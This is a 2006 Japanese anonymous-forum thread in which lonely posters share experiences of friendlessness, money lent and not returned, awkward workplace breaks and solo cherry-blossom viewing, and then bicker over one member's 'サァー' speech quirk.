それは小学校5・6年の時。
頼んでもないのに人が自分の周りに集まってきて、学級委員なんか今では縁も無い代物もやっていた。
もしかすると、この時の記憶がトラウマになっているのかもしれません。
実は自分とルカさんの幼少期の経験はかなり似たものがあるような気がします。
自分は一人っ子で、過保護な親のもとで育っており、その過剰な期待がかなりの負担になっていた。
そして、この過剰な期待に違和感を感じつつも、結果的には親の期待に応えていたの時期が、
人気者だった小学校5・6年の時期と重なります。
中学に上がってからは、真逆の生活、つまり@親の期待には応えず、A更に学校でも孤立という生活を送りましたが、
この11、12歳の時の経験が何か、その後の人生に悪影響を及ぼしていたのかもしれないと思いました。

>だれだって自分が一番で賞賛されれば悪い気はしないし、二番手以下につくのが受け入れられないなら気分悪い。
自分は一番になりたい訳ではないのです。
ただ、一番になっている人間は魅力的な事が多いです。
彼らみたいになれないとは分かっていても、その魅力に吸い寄せられてしまうのです。
そしてある時を境に、嫉妬と自己険悪に駆られ、付き合いを自分から遠ざけてしまう事の繰り返しでした。
もしかすると、今までの人間関係の動機は全部、自分からの一歩的な片思いから始まっているような気がしました。
本来、友達とは一緒に共有体験をしながら、意思の疎通を図る過程で形成されるものでしょうか?
にも、かかわらず、自分は、付き合い初めから「あなたと友達になりたい。」という気持ちを前面に打ち出していました。
以前、ある方の付き人をした事があるのですが、
「君は私に恋している気持ちで仕事に当たらないで欲しい。」と言われクビになったことがありました。
これは、一方的な片思いのような気持ちが人間関係に反映されていた一例だったのかもしれません。
友達は作ろうとして作るものではなく、自然に作るものだと意識できれば、少しでも前に進めるかもしれません。


776 :742:2006/03/22(水) 13:14:07 ID:3L79KSSt
>>746
卒業祝の言葉、ありがとうございます

大学では無理しなくてもいいような、友人を見付けられたらな
と密かに淡い期待を、抱いてしまいます
ただ結果はどうあれ、自分が本当に学びたいことが
学べる大学に、入ることが出来たので
一生懸命勉強して、将来に役立てたいです

お金については、別れ際に来週の午前中に会って、その時に返す
と言われたのですが、先日、私はその日の午後急用が出来てしまい
1日中遊ぶことは出来ない旨を、メールで伝えたら
何故か次に会えるのは、夏休みになってしまうね、と…
私としては、2時間半ほど時間があればお金は十分返せる訳だし
遊びと返金は、また別ではないの?と思ってしまったので
別にいつでも、とそっけない返事を送ったら
そのまま返信が、途絶えました

もうこの際、貸した分は溝に捨てたと思い、忘れようと思います
やはり貸し借りは、簡単にはやるべきではないと
改めて実感しました

777 :伊達屋酔狂.:2006/03/22(水) 13:33:56 ID:LH96odOK
>>776

大学内での付き合いは八割、四月の時期に固定されてしまう気がします。
伊達屋は大学内で友達が出来なかったのは四月に鬱だったのも関係したと思います。
一度、色んな人と知り合う機会を逃してしまうと、
例え新しい人と知り合いになれたとしても、既に知っている人からの紹介だったりします。
学校外で知人を作ろうとしても、恋人はできても友達は共通体験がないので、できない気がしました。
意外に新たな人間関係を構築するのは難しいものです。
いい友達が出来るように伊達屋、応援してます。
頑張れ!

伊達屋も知人と金銭トラブルや宗教勧誘などをうけて、ドタバタしたことがありました。
人間関係にも自分なりのルールを持って臨まれると、無駄なことに悩まなくなり、気分が楽になると思います。

本当に学びたいことが学べる環境に入れたのは羨ましいです。
環境を活かすかはあなた次第です。
伊達屋は環境を活かしきれてません。
ポーション飲んでも魔法は使えるようにはなりませんでした。
魔法使いになって大学一年に戻りたい。
今年も桜が開花した。
自分もこの春、変わりたい。

778 :齋藤(ニューハーフ):2006/03/22(水) 16:43:42 ID:aCevAyVC
>>774 伊達屋酔狂.さん

私も長い年月をかけて人間関係を築いたことがありません。
結婚も人間関係の延長にあるものなので
友達がいないと人間関係が不得意な傾向になりやすく
人間関係の延長でもある結婚でもうまく行かない可能性が高いですね。
ただ結婚は友達と違い生活が基盤となる人間関係なので
友達がいなくても、うまくいく人はうまくと思いますよ。

私はもう二度と恋愛はしないと腹に決めているので
恋愛→結婚は出来ないと思います。
多分お見合い→結婚というのが理想です。
ニューハーフの小さな夢です。
今年は性転換手術が出来るといいなw


伊達屋さんも変われるといいですね。Love.




779 :  本  間  :2006/03/23(木) 23:28:52 ID:2/li3mko
同級生、同僚等に友達いないことをカミングアウトした方はいらっしゃいますか?

本間は過去の人間関係の話をよくする為か、周囲の人から「知人が多そう」などと言われます。
事実、初対面の人ともあまり緊張せず、話すことができます。
一方で、知人から新興宗教等の勧誘を受けることもあるので、鬱気質とも思われているのかもしれません。

友達いない事をカミングアウトされた方、その時の周囲の反応、その後の対応の変化等聞かせて下さい。




780 :齋藤(ニューハーフ):2006/03/23(木) 23:34:25 ID:KmK2FXF/
>>本間さん
私は友達がいないことをカミングアウトしたことがありますが、誰も信じてくれませんだした。
友達がいないって言ったら爆笑されましたよ。

781 :ピエロ:2006/03/23(木) 23:39:27 ID:r2lR/4zt
ピエロはカミングアウトしたサァー。そのときは少し引き気味にふーん
と言われたサァー。その後は何事もなく知り合い程度につきあっているサァー
裏ではあいつ友達いないんだぜと言われているかもしれないけどサァー
二人の人にカミングアウトしたけどもう一人はさらっと受け流したサァー
そんなことどうでもいいじゃんみたいな感じだったサァー。思ったことは
これまでそしてこれからその人とどう接したかではないかサァー。
どうでもいいという接し方をしていると相手も感づいてしまうサァー。
だからできるだけピエロは負のオーラを出さずに人とつきあっているサァー。


782 :  本  間  :2006/03/23(木) 23:53:40 ID:2/li3mko
>>780
>>ニューハーフの齋藤さん

やはり冗談だと思われてしまいますよね。
だって、普通に考えて20数年間、生きてきて信頼できる友達が居ないって異常だと思う。
この際、友達イナイ歴=年齢を売りにしたネタ芸人としてデビューしようかと本間に考えてます。
ニューハーフと友達いない奴でコンビ組みませんか?

>>781
>>ピエロさんサァー

はじめましてサァー。
確かにカミンフアウトしても、相手が寧ろ対応に困ってしまうかもしれないサァー。
確かに人間関係の中で負のオーラーを出さないことは大事サァー。
本間は数年前、負のオーラーの電波を周りに発信続けてしまったことがあったのだがサァー、
そのときはきれいに人が自分の周りから去っていったサァー。
本間もどんな人とも、どうでもいいという接し方はしたくないサァー。
でも、あまり相手の事ばかり考えて尽くしてしまうといつの間にか利用されるだけの関係になってしまうのでサァー、
その辺りのバランスが難しいサァー。


783 :伊達屋酔狂.:2006/03/24(金) 00:33:11 ID:vuap5nIG
>>778
>>ニューハーフの齋藤さん

確かに、友達が家の外の関係なのに対して、結婚は家の中での生活を中心とした関係なので、友達の有無は関係が無いのかもしれませんね。
恋愛は家の外の友達付き合いと、生活を基盤とした結婚との中間なので、
恋愛がうまくいく人はやっぱり人間関係も結婚も仕事もうまくいく事が多いのかも知れませんね。
こうなると雑誌の恋愛至上主義は的を得てますね。

伊達屋はお見合いしたくても、スペックが良くないのでムリポです…wwww


784 :齋藤(ニューハーフ):2006/03/24(金) 06:18:02 ID:ZQLBdsL2
>>783 伊達屋酔狂.さん

ニューハーフもお見合いは無理ぽ…

785 :マジレスさん:2006/03/24(金) 09:30:12 ID:sQxidoiK
「私は友達たくさんいて人付き合いがうまいの」って自分で思ってる人のほうが変だし問題ありと思う

786 :マジレスさん:2006/03/24(金) 10:48:22 ID:HC4JHzFU
でもそこに居場所を見出そうとしている人は多い。
そう思わないとやっていけないんだろうな。
そういう意味では俺たちはとても快適な生き方をしてると思う。

787 :マジレスさん:2006/03/24(金) 13:59:38 ID:2wGdd+W3
学生時代の親友(?)とようやく関係を絶ちました。今思えば
性格も趣味も価値観も凄く違っていて、よう付き合えたなと
今は他県で暮らしていて、今後も逢うこともないだろうし
意味がないと思い排除させてもらいました。

788 :伊達屋酔狂.:2006/03/24(金) 14:26:27 ID:vuap5nIG
>>787

合わない相手と関係が断絶できてよかったですね。

一度、関係を持つと、静かにフェードインさせるのは意外に難しい気がします。
伊達屋はかつて、いきなり関係を断絶した為、風評被害にあい、維持したい関係までも切らなければいけない苦い経験がありました。
人生の中で荒波をたてずに生きるのは本間に難しいことです。

伊達屋の好きなアスリートが昨年、
「プレイヤーとして最高のおわり方をしたい。落ちぶれてからよりいい記憶のままで終わりたい」
といい、引退しました。
人間付き合いでも伊達屋の良い記憶のままで終わりたいです。

来週の月曜に実は関係を切りたい人達と伊達屋は呑むことになりました。
今回、気持ちの良い別れができるといいなと思っております。

789 :齋藤(ニューハーフ):2006/03/24(金) 17:17:31 ID:HELJdoyM
>>782 本間さん
芸人デビューに乗りたいのですが
私、齋藤は滑舌が悪いので足を引っ張ってしまうだけだと思います。


790 :マジレスさん:2006/03/24(金) 17:43:40 ID:1BMPgBvI
1人は寂しいですね・・・。私は友達と一緒に買い物行ったほうがいいかな。
でもその子は学生時代の友達で住んでるところが遠くて地元にいるときは一人
で買い物です(悲)

791 :ピエロ:2006/03/24(金) 18:12:51 ID:CTWiNMHa
>>790
久々に会えるのなら会った方がいいサァー。会うと昔に戻れたりもするサァー。
互いの近況を言ったりするときはちょっと気まずいかもしれないけどサァー。
人と会うのは新鮮な感じもするサァー。一人の買い物も自分のペースでできる
反面、友達づれをみると空しくなるということもあるから人によってまちまちサァー


792 :マジレスさん:2006/03/24(金) 18:18:35 ID:b9H7f8R1
この人俺と一緒だな。
俺もこんな考えだよ。

793 :もも:2006/03/24(金) 18:47:03 ID:YP3Jf7Cl
お久しぶりです。
また立ち寄ってしまいました。
最近、職場で一緒に食事している人が、新しく入社してきた人のために席移動しまして、
多少、気分が緩やかになりました。
彼女とは、仕事をしていくかぎりずっと一緒のパートナーなので、
なるべく大事に仲良くやっていきたいので、少し距離を置けてとても楽になりました。

私には、学生の頃からの友人が数人いますが、思えばクラスがずっと違っていたり、
ある意味楽な距離を取れていたからこその友人であったと思います。
去るものは追わずで、去っていく人達はなんだか大人になったような気がして、
幸せになったから私と会わなくなったのだろうと、嬉しいような気がするのです。


794 :ルカ ◆IOAAALucaM :2006/03/24(金) 21:22:52 ID:dE3TOFn5
>>769-770
孤独な人間から金を取らないでくれ〜つД`)

>>771
さすが正解

「もし君が孤独な人間で、住まいの中に誰かが居て帰りを待って欲しく、
その者と心の通う接触をしたいと望むのなら、イヌを飼いたまえ。」

ですた(U´Д`)ワンワン

>>773齋藤(ニューハーフ)さん
家庭欲しいね。家族ができれば、もう淋しいだのなんだの愚痴は言いませんw
お弁当もって花見でも行ったの?
そろそろ・・・だよね。

> ただ結婚は友達と違い生活が基盤となる人間関係なので
> 友達がいなくても、うまくいく人はうまくと思いますよ。

おれもそう思うな。
生活では役割を果たすことを求められるから、共同事業(仕事)に近いだろうし。
友達がいなくても、掃除機をかけて、壊れた棚を修理する能力があればいいのさ〜
(と楽観的に考えておくw)

795 :ルカ ◆IOAAALucaM :2006/03/24(金) 21:24:07 ID:dE3TOFn5
>>775本間さん
魅力的だと自分が感じる人間に近づけば嫉妬に苦しめられる、というわけですか。
近寄りたいとは思わない人間と友達になっても面白くないだろうし。
ジレンマ?

> 「君は私に恋している気持ちで仕事に当たらないで欲しい。」
これを言ったのは男?
なんでこんなこと言ったんだろ。
本間さんが相手に好意をもって接していたこと自体は、
むしろ褒められるべきことだと思うんだけどな〜

796 :ルカ ◆IOAAALucaM :2006/03/24(金) 21:24:52 ID:dE3TOFn5
>>776
一緒にいて疲れない友達が大学で見つかるといいね。
おれはたまたま声をかけられたサークルに、その活動内容にはちっとも興味が湧かないのに
入ってしまって、結局メンバーともまったく気が合わずにやめちゃいまいした。
もう少し吟味して選んでたらなあと後悔...
2年生以降になったらなかなか途中からサークルに入れる空気ではなかったので、
卒業まで学内では何も活動せず...
クラス以外でも居場所をつくれるためにも、最初は2-3のサークルにお試しで入って
味見の期間を有効に使ったほうがいいね(;・∀・)

友達のことでイヤな思いをしたけど、満足できる大学に合格できてよかったね!
学問のほうもクタクタになるまで脳を使ってがんばってくださいねw

お金を借りたら、会う会わないの予定に関係なく銀行振り込みしてでも返すのが礼儀だと思います...
午前中だけでも会えるなら返すのが筋でしょうが...相手の方の反応はがっかりですね。
たぶん交友関係を続けても、776さんがまた困ることをしでかしそうだし、
この際切った(切れた)ほうがいいのかもね。
思わぬところで人間性が出てしまった例なのかも。

797 :ルカ ◆IOAAALucaM :2006/03/24(金) 21:29:05 ID:dE3TOFn5
>>779
おれは20代の途中くらいまで、友達がいないことを絶っっっっっっっっっっ対に人には言えない性格でした。
最重要機密事項として封印w

知り合いとしゃべるときも、「この前友達と○○に行ってね〜」などと友達がたくさんいるかのように演技までする。
年賀状の枚数が少ないことを郵便局の人に知られることさえ恥じておりました。

気にしすぎ、だったなあ。
今は隠しもせず誇張表現もせずありのままにしゃべるようになりましたが、
でもあえて少ないことはやっぱり口にはできませんね。

知り合いの中には一人にだけ、友達がいなかったこと、いまでも非常に少ないことをしゃべった人がいますが、
それはおれ自身に興味がないとわかっていたから。
おれに興味がないから、友達がいようがいまいがどうでもいい、心配もしなければ嘲笑もしない、
そういう人にだけ告白しました。

案の定、打ち明けたときも「へえそうなんだ。」と非常に淡白なものでしたw
淡々と別の話題に変わって行った... これはこれでまた虚しいのだが...

友達がいないことをもって攻撃することが大好きな人間には、むざむざエサはあたえたくないですね。
もし昔の自分が、友達がいないことを気にしないでペラペラしゃべれる人を見たら、
少しは真似して楽になれたかもしれない。

798 :ルカ ◆IOAAALucaM :2006/03/24(金) 21:30:18 ID:dE3TOFn5
>>793ももさん
久しぶりです( ´∀`)/~~
職場での席は大事ですねw
ベタベタ近づき過ぎるのも、おたがいに好きどうしで選び合った仲ではなくて、
偶然一緒に押し込められただけの人間が居合わせる組織内では息苦しくなることが多いです。
ももさんはさらっと触れ合う程度の距離が心地いいんですね。

799 :齋藤(ニューハーフ):2006/03/25(土) 16:06:43 ID:ViGdl5bt
>>794 ルカさん

クイズの答えは犬を飼いたまえですか。
納得しました。

お弁当持って、お花見にいきたいですが一人で弁当持って花見はちょっと行けないです。
先週から親戚の可愛い男の子を預かっていて、お弁当作りをしています。
タコさんウィンナーなんて初めて作りました。
その男の子は春休みの間だけ泊まりに来ているのですが誰かと生活するのはいいものです。


楽しい家庭が欲しいですよね。
お金じゃ買えないものは、どうして簡単に手に入らないのかなとよく考えます。


800 :ピエロ:2006/03/25(土) 23:21:26 ID:4VwqHRFI
>>齋藤さん
その男の子と花見にいってはどうかサァー。お弁当もって。
ピエロは一人で花見に行ったサァー。周りで宴会している人たちがいて楽しそう
だったサァー。とくに夜桜がお勧めサァー夜桜を見ながらワンカップ片手に
ほのぼの過ごすのもいいものサァー。

801 :齋藤(ニューハーフ):2006/03/26(日) 23:06:34 ID:3mWyUy80
>>800 ピエロさん
アドバイスありがとう。
親戚の可愛い男の子と一緒にお花見に行こうと思います。
男の子の心に寄り添うことができるように、一緒に桜の木の下を歩きたいです。

ワンカップで夜花なんてピエロさん粋ですね!

802 :ピエロ:2006/03/27(月) 00:53:34 ID:TwGDFPOp
男の子にとってもそして齋藤さんにとってもいい思い出になるようにサァー。
齋藤さんのお弁当ピエロも食して見たいサァー。
楽しんで来るといいサァー。

粋じゃないサァー。ただの酔っぱらいピエロサァー。

803 ::2006/03/27(月) 14:02:40 ID:rKUA4WlT
友達できたらフットサルやりたいな

804 :マジレスさん:2006/03/27(月) 15:30:40 ID:Nt5O7ES9
フットサルサークルにはいってから
友達つくりゃいいじゃん

805 :ピエロ:2006/03/27(月) 19:13:19 ID:TwGDFPOp
ピエロは友達ができたらドッヂボールがしたいサァー。

くにお君ルールで。

806 :マジレスさん:2006/03/30(木) 14:39:43 ID:X7AgXkys
あぁーつまらん
職場の休憩時間が一番鬱だ。
なんでこんな狭い休憩室で特に話し相手もなく
ただボケーっとしてなきゃならんのか。
メール送る友達もおらんし。
仕事してるときの方がよっぽどか気がラクだ。
あまりにヒマなので携帯から失礼。

807 :マジレスさん:2006/03/30(木) 18:50:18 ID:0AsHU0i9
休憩しなきゃいいんじゃない?

808 ::2006/03/30(木) 18:54:53 ID:KFacsk06
友達いたらオールとかしたいなぁ…。友達いないからな…。

809 :マジレスさん:2006/03/30(木) 22:59:46 ID:wmtx16Gz
>>807
帰ってきました。
俺自身は正直この休憩「制度」やめたいです。
まだ転勤してきたばかりで単独行動しにくいんですよね。
慣れてきたら自分の好きなように立ち回ろうかと思っています。

810 :マジレスさん:2006/03/30(木) 23:00:59 ID:IYDys0AS
友達じゃなくても
誰か誘ったり出来るだろ
そんなんでいいんじゃない

811 :マジレスさん:2006/03/30(木) 23:35:40 ID:pFYdXdll

【友達】小学校の旧友を2chで探そ【仲間】2校目
http://bubble4.2ch.net/test/read.cgi/mukashi/1095442422/

812 :ピエロ:2006/03/30(木) 23:43:27 ID:6Rfre5kc
>>809
休憩時間はほかごとすればいいサァー。ピエロはトイレでジャンプとか見てたサァー。
それか仕事の下準備とかすればいいサァー。休憩は先輩と昼飯とかいろいろ付き合い
があるからピエロはつらかったサァー。


813 :マジレスさん:2006/03/31(金) 00:03:05 ID:ux9BcbhF
口下手不細工だけど地味に親友・恋人作れないかな…

814 :マジレスさん:2006/03/31(金) 00:07:15 ID:ZjMw67FK
一人で「県庁の星」観ました。
友達いないから、スーパーの店員にいじめられる県庁さんに感情移入してしまいました。
県庁さんのように賢くなれるよう勉強します。

815 :ピエロ:2006/03/31(金) 00:19:45 ID:jauZ/l1N
>>813
人と会う機会を増やしたらどうかサァー。いろんな人を見てそして自分も
いろんな人に見られる。十人十色の見方があるからなんともサァー。
いえないけどもサァー。基本は誠実に人と向き合うことサァー。
人の出会いは運もあるからサァー。その運を引き寄せられるようにがんばる
しかないサァー。

816 :ピエロ:2006/03/31(金) 00:23:39 ID:jauZ/l1N
>>814
やはり一人だとなめられるかもしれないからサァー。なめられないように
人一倍の知識と経験は必要サァー。勉強がんばってほしいサァー。

817 :マジレスさん:2006/03/31(金) 00:56:59 ID:QPSM8VMt
友達ほしいんですけど、自分から人に話しかけたりすることができません。
どの人に話しかけたらいいのかわかりません。
どんなテンションで、何て話しかけたらいいのかわかりません。

お昼とかに、自分から誘ったりすることができません。
断られるのこわいし、第一一緒にいて、何話していいかわかりません。

人間関係に臆病なのって、自分に自信がないからですか?
それとも、自身とか言う以前に、自分には人との関係を築く能力がないんでしょうか?

818 :ピエロ:2006/03/31(金) 01:17:54 ID:jauZ/l1N
>>817
社会人だったらわからないけどサァー。学生だったらよく授業で一緒の人
だったり、顔をよく見る人に話しかけてみたらどうかサァー。グループで
でいると入るのは難しいだろうから、一人の人に話かけてみるといいサァー。
素のテンションで話しかけてはどうかサァー。でも負のオーラを出すのはNGサァー
話すのはテレビの話題とか、時事の話題とか趣味や授業のことや恋愛などや
相手のことを話したり聞いたりしてはどうかサァー。その中で今日昼どうする?
みたいなことを切り出せばいいサァー。

ピエロも消極的で自分からに話したことはないけどサァー。それは人によって
まちまちかもしれないけどもサァー。これは慣れだと思うサァー。
なんでもいいサァー。人とふれあう機会を多くもってみてはいかがサァー。

819 :カカー:2006/03/31(金) 01:22:02 ID:xPyoezNR
>>806 マンガか本読めば 今のヤンジャン面白いで

820 :マジレスさん:2006/03/31(金) 01:36:03 ID:xPyoezNR
買い物一人でいける人羨ましいな めちゃ服買いに行きたいけど 一人だと寂しくて 服どこじゃなくなるから俺は友達としか買い物いかないなぁ〜

821 :マジレスさん:2006/03/31(金) 01:40:05 ID:xPyoezNR
あと よく思うことだけど 友達にも色々あるよな 一緒にいて楽しくて 全く気を使わないでよくて いい意味で空気みたいな存在になれる人が 本当の友達で 親しい中にも礼儀ありとか言ってるようじゃ本当の友達じゃないよな

822 :マジレスさん:2006/03/31(金) 01:47:01 ID:kpCX05X4
価値観は人によって違う。
なぜ礼儀をわきまえていると友達じゃなくなるのかよく分からない。
最低限のマナーは守って欲しい。友達だからって鼻くそつけられたら嫌だ。

823 ::2006/03/31(金) 01:55:30 ID:5/7YA5y7
友達いない奴結構いるよな。
ブロガーでも結構ナカーマがいたりする。
つか、みんな捕らえ方色々でおもろいけど、やっぱ友達いないんだよなぁ。
http://g55.seesaa.net/
http://nurarihyon.seesaa.net/article/6859753.html
http://blog.livedoor.jp/goingforward/

こんな感じ。他にも面白そうなブログない?

824 :マジレスさん:2006/03/31(金) 02:01:23 ID:z5xujUk7
>親しい中にも礼儀ありとか言ってるようじゃ本当の友達じゃないよな

それは違うね。
礼儀というのは単に敬語を使うとか相手に気を使うとかいうことではなく
相手の存在や思想、ライフスタイルを尊重して認めてあげることだ。
気を使わないことと配慮しないことを履き違えて、そうやて友達を粗末に扱っていると
いつか誰もいなくなっているぞ。

825 :マジレスさん:2006/03/31(金) 02:31:12 ID:K6HH64x8
ピエロさん、サァて語尾につけるの読みにくいから普通に書いて。特にサァっておもしろくないし、

826 :齋藤(ニューハーフ):2006/03/31(金) 10:31:32 ID:NlJqgeAJ
ピエロさんのサァーは親しみ感じるから好き。

827 :アイちゃん:2006/03/31(金) 10:35:33 ID:+XtjEoIF
サァー!!!

828 :マジレスさん:2006/03/31(金) 11:08:33 ID:K8JEa7MG
>>824簡単にいえば、いくら仲が良くてもある程度の常識を持って接していくということですよね?例えば物を借りる時なんかは、しっかりことわってから借りたりとか。

829 :マジレスさん:2006/03/31(金) 12:33:11 ID:wxpJFHsa
サァーサァーやめろや!
てばよとかにして!

830 :マジレスさん:2006/03/31(金) 12:50:51 ID:krB4Nrud
今一人で買い物に来ているが、ヤベw道迷いそうww

831 :マジレスさん:2006/03/31(金) 16:41:45 ID:dSOWPdAN
>>824
良い事言うね。
それがなかなか難しかったりするんだけども‥‥‥

832 :マジレスさん:2006/03/31(金) 18:15:23 ID:6fXDDIYy
サァーはうざいよ。

833 :マジレスさん:2006/03/31(金) 18:30:55 ID:CaMW49Io
でもサァー
友達いてもサァー
一人でいたいじゃんサァー
サァーって流行語?

834 :もも:2006/03/31(金) 19:23:31 ID:cxZyq0JM
レス番解らなくなるほど遅くなりましたが、
ルカさんこんちは。おひさしぶりです。
上の方での職場の休憩時間が憂鬱なのはよくわかります。
ただ、私の場合は、寂しいからというより、気疲れするからですが。

学生時代などは差し障りのない会話をしたいが為に
雑学系の本をよく読んでおりました。
お陰で今では、ちょっとした雑学&トリビアな人になってしまいました。
利害が発生しない職場での雑談はやはり難しいですね。
誰かの悪口などは、あまり知らないし判らないと逃げております。

835 :マジレスさん:2006/03/31(金) 19:34:06 ID:lg3jzVRq
ここって友達いる人のスレだっけ?

836 :ピエロ:2006/03/31(金) 19:40:16 ID:jauZ/l1N
ピエロ祭りが開催されている会場はここですか?
>>825
ゴメンね。でも
別にうけをねらっているわけではないサァー。これはピエロの方言で、ほら
誰だって方言を禁止されるとしゃべりにくくなるもんサァね。それと同じサァ
それにサァーの部分を省いて読んでもらえれば普通に読めるサァ。もしうざい
ならピエロのレスはスルーすればいいサァー。まあ気持ち2割は抑えるサァ。

>>826
ありがとうサァー。そういえば花見はどうでした? きれいでした?






837 :ピエロ:2006/03/31(金) 19:48:16 ID:jauZ/l1N
>>829
てばよにしたってばよ。なんか喫茶店で2週間前のジャンプ読んじゃった
みたいな違和感があるサァ。

>>832
ピエロはこうなるだろうなあと予想してた。まあ気持ち2割は抑えるよ。

>>833
流行語になってくれるとありがたいサァー。別にどうでもいいけど。



838 :マジレスさん:2006/03/32(土) 11:03:01 ID:wB0LNrMx
837みたく自分で自分の名前よんじゃうほうが
サァつけるよりなんかいたいサァ

839 :マジレスさん:2006/03/32(土) 20:48:55 ID:xrfC+JFU
                      ∩__∩    さあっみんなっ!!!     
                       /● ● ヽ        
                     l( ●__)  l     
                     ツ |∪|  彡   たまには一人でリラックマ!!!リラックマしようぜ〜〜!クマ〜〜〜
                    ,ノ ヽノ   ヽ、_,,, 
                 /´`''" '"´``Y'""``'j   ヽ 
                { ,ノ' i| ,. ,、 ,,|,,. 、_/´ ,-,,.;;l 
                '、 ヾ ,`''-‐‐'''" ̄_{ ,ノi,、;;;ノ 
                 ヽ、,  ,.- ,.,'/`''`,,_ ,,/
                  `''ゞ-‐'" `'ヽ、,,、,、,,r' 
                    ,ノ  ヾ  ,, ''";l 
                   ./        ;ヽ 
                  .l   ヽ,∩,/   ;;;l  
                  |    ,(::)(::)    ;;;| 
                  |   ,' ;;;l l ;;'i,   ;|    
                  li   /  / l `'ヽ, 、;| 
                 l jヾノ ,ノ  ヽ  l  ,i| 
                 l`'''" ヽ    `l: `''"`i 
                 .l ,. i,'  }     li '、 ;;' |.
                  l ; j / _, -― ' ̄ ̄`ー‐-、_ 
                                   ' ̄ ̄


840 :名無し募集中。。。:2006/03/32(土) 20:54:10 ID:9mvX+z4E
27年間彼女どころか友達すら一人も居ない
ここ10年ぐらいマトモに人と話してない
でも別に苦痛じゃないね

841 :マジレスさん:2006/03/32(土) 20:59:52 ID:xrfC+JFU
>>840

お仕事は?
何してるの?
オレも似た感じのところあるよ。

842 :マジレスさん:2006/03/32(土) 22:56:01 ID:tz4VJIjW
こうなればヤケだ!お前ら全員俺が友達になってやる!!

843 :名無し募集中。。。:2006/04/02(日) 00:58:10 ID:yjqzgBai
>>841
中学卒業してからず〜っと無職だけど?

844 :齋藤(ニューハーフ):2006/04/02(日) 15:54:58 ID:eLAoLfZl
>>836 ピエロさん
昨日親戚の可愛い男の子を連れてお花見にいってきました。
すごくいい天気で桜も満開でとても綺麗でしたよ。
数年ぶりに肩の力が抜けた日でした。
来年は友達つくって一緒にお花見したいです。


もうピエロ祭りは終了したのかな。
サァーがないと少し寂しいです。

845 :ピエロ:2006/04/02(日) 22:28:30 ID:qj9GwcjP
>>838
ピエロはイタイピエロですが、何か問題でも?



846 :ピエロ:2006/04/02(日) 23:03:33 ID:qj9GwcjP
>>844
それはよかったサァ。齋藤さんそして男の子にとっても素敵な1日になって。
男の子と一緒に行けたことと、桜が癒しになったみたいでなによりサァ。
ピエロは会社の付き合いで無理矢理盛り上がらなければならない雰囲気が嫌で、
花見は一人で行くようになったサァ。でもカメラをぶら下げ、串カツ、串焼き
片手にワンカップを飲んでほのぼのしてると、ごくたま〜に知らない人に「おい、
そこのピエロ一緒に飲まないか?」と声をかけられることもあったサァ。そういう
ときは楽しいお酒になるのが不思議サァ。やはりそういう人達は気心の知れた人達
みたいで楽しそうだったサァ。なのでピエロも気心の知れた友達と飲めばもっと
楽しく花見が出来ると思うサァ。齋藤さんにもそういう友達ができるといいですね。

ピエロもいい年してカマッテちゃんなので、みんなにかまわれるのはいいことサァ。
サァーもなるべく気持ち2割が抑えるようにしたいと思いますが、方言を抑えるのは
難しいサァ。




847 :マジレスさん:2006/04/02(日) 23:51:23 ID:KfqY0HT9
読みにくいから
普通に書きなよ

848 :マジレスさん:2006/04/02(日) 23:57:46 ID:uMgekTpZ
だいぶ矛盾してるよね、言ってること。
だって協調性はないのに孤独はいやだなんてなめてるんじゃない?
友達がほしいのに信頼できないだとか。
あなたがそんなこと考えていたら寄ってくる人なんか当然
いませんよ??人間、本当に信頼できて・親友だとかって
いうのはないの!!しかも自分のことばっか考えてるから
そうゆー考えになるんだよ。いろんな人と関わりを持って
、いろんな人と遊んだりしたら、いろんなことが見えてくる
はずです。1人の時間だって貴重なんですよ。

849 :マジレスさん:2006/04/03(月) 00:22:42 ID:x0E0/Dpc
日本語でおk

850 :マジレスさん:2006/04/03(月) 00:47:23 ID:smPIGtKN
〜〜つぶやき〜〜
俺は表面上の友達はたくさんいるけど、友達って呼べる人は1人しかいない。
他人といるのって疲れるよね。ホント。
家族とか親密な仲なら気をつかわなくていいけど
ちょっとした友達とか女の子には
話題作るのに必死になったりで本当に疲れるよ。
休日なんて他人に絶対会いたくないな。
そんな俺だから友達も彼女も
なかなか出来ないのかな〜

普通の人ってどんな感じなんだろね。
皆疲れないのだろうか?
もう学校行きたくない。

851 :マジレスさん:2006/04/03(月) 01:48:27 ID:XN2XfWRe
ここのスレ、コテばっかだけどピエロってのはなんか痛いな


852 :マジレスさん:2006/04/03(月) 06:58:57 ID:NTOpzprg
なんかこのスレ嫌い

853 :名無し募集中。。。:2006/04/03(月) 07:00:52 ID:htbbFVic
友達って自分のやりたいことを邪魔するウザイい奴だろ?
人生に必要ないだろ

854 :マジレスさん:2006/04/03(月) 12:03:37 ID:XN2XfWRe
>>851
嫌いならこなければよいけど、ピエロはサァサァいって荒らしてるだけ、他の人が書き込むのを阻害してるからでていってよ

855 :マジレスさん:2006/04/03(月) 12:56:31 ID:rMCJou3c
NGワード推奨:ピエロ

856 :マジレスさん:2006/04/03(月) 15:00:49 ID:onNgycaq
どうせ流行りゃしねーんだから
サァとかつけなくていいし、
それ以前に改行を工夫する必要性があるね


857 :齋藤(ニューハーフ):2006/04/03(月) 16:26:17 ID:Kmm3GUQo
サァで何でこんな祭り騒ぎになるのか理解に苦しむ。


858 ::2006/04/03(月) 17:35:45 ID:iYU6Bjw5
生きるのに疲れてきたねコレ

859 :マジレスさん:2006/04/03(月) 18:41:26 ID:5jW09lj+
明日は
10時〜11時半 犬の散歩・化粧
11時半〜2時  買い物
2時〜4時   宿題
こんな感じだ。<(^д^)「

860 :ピエロ:2006/04/03(月) 19:28:28 ID:Nq1owWq3
あぁぁ またピエロ祭りが開催されてる。いっときますが、ピエロはかまってくれる
のはいいんですが、ここは「友達いなくて買い物・映画・旅行いつも一人」というスレ
であることを忘れないでね。でわでわ
>>847
読みにくいですか?それは困りましたね。じゃあなるべく抑えるようにしますかな。

>>848
ん〜ピエロはどんなマジックを使えばそのような解釈になるのかよくわかりませんが
協調性がないことに関して、ピエロは社員旅行、忘年会など出席はしてましたが、
でも出席、欠席で協調性がないというのもどうでしょうか。出席しても誰とも話さない人
お酌をしない人、場の空気を読まない人、そんな人でも出席したほうが協調性はあるんですか?
それにお客さんとのコミニュケーションなども仕事をする上では必須ですし、ピエロはこなして
きましたが、何か問題でも?
信頼に関しても仕事をしていく上である程度は仲間と信頼しないと出来ないことが多々ありますし
そうじゃないといろいろ弊害もでてきます。ですが人として信頼しろというのは
また別次元の話なんですね〜。
自分のことばかり考えているのはピエロ意味がわかんないサァ。それに一人の時間の
有効活用をピエロ含めここにいる人達にぜひご教授願いたいものです。




